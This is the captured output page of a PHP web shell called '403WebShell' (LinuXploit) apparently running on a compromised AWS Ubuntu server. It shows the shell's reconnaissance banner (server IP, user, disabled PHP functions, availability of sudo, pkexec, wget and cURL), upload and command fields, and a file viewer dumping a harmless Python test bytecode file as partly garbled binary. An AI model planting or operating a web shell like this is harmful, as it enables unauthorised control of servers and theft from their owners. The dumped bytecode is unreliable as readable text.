Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_lltrace.cpython-310.pyc
o

�9j��@s�ddlZddlZddlZddlZddlZddlmZmZddlm	Z	e
ed�Ze�ed�Gdd�dej
��Zedkr@e��dSdS)	�N)�	os_helper�verbose)�assert_python_ok�gettotalrefcountzlltrace requires Py_DEBUGc@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�TestLLTracecCs`ttjddd��}|�tjtj�|�t�d��ttj�Wd�dS1s)wYdS)N�w�utf-8��encodingz�            import code

            console = code.InteractiveConsole()
            console.push('__ltrace__ = 1')
            console.push('a = [1, 2, 3]')
            console.push('a[0] = 1')
            print('unreachable if bug exists')
            )	�openr�TESTFN�
addCleanup�unlink�write�textwrap�dedentr)�self�fd�r�(/usr/lib/python3.10/test/test_lltrace.py�1test_lltrace_does_not_crash_on_subscript_operators

"�z=TestLLTrace.test_lltrace_does_not_crash_on_subscript_operatorcCs�t�|���}ttjddd��}|�tjtj�|�|�Wd�n1s'wYt	tj�\}}}|�
|d�|�
|d�|�d�}trZt
d�t
|�t
d�t
|�t
�|S)Nrrr	�rz

--- code ---z
--- stdout ---)rr�striprrrr
rrr�assertEqual�decoder�print)r�coder�status�stdout�stderr�resultrrr�run_code#s �
zTestLLTrace.run_codecCshtj|}t�d|�d�tj�}|r#|�|�|�d|�d|���dS|�|�|�d|�d|���dS)Nz: z($|, )z": z" not found in: z" found in: )�opcode�opmap�re�compile�	MULTILINE�
assertTrue�search�assertFalse)r�opr�present�regexrrr�check_op4s
��zTestLLTrace.check_opcC�|�||d�dS)NT�r-�rr*rrrr�check_op_in>�zTestLLTrace.check_op_incCr.)NFr/r0rrr�check_op_not_inAr2zTestLLTrace.check_op_not_incCsV|�d�}|�d|�|�d|�|�d|�|�d|�|�d|�|�d|�dS)Na�
            def dont_trace_1():
                a = "a"
                a = 10 * a
            def trace_me():
                for i in range(3):
                    +i
            def dont_trace_2():
                x = 42
                y = -x
            dont_trace_1()
            __ltrace__ = 1
            trace_me()
            del __ltrace__
            dont_trace_2()
        �GET_ITER�FOR_ITER�UNARY_POSITIVE�POP_TOP�BINARY_MULTIPLY�UNARY_NEGATIVE)r!r1r3)rrrrr�test_lltraceDs
zTestLLTrace.test_lltraceN)	�__name__�
__module__�__qualname__rr!r-r1r3r:rrrrr
s
r�__main__)r"r$�sysr�unittest�test.supportrr�test.support.script_helperr�hasattr�Py_DEBUG�
skipUnless�TestCaserr;�mainrrrr�<module>s

S�

Youez - 2016 - github.com/yon3zu
LinuXploit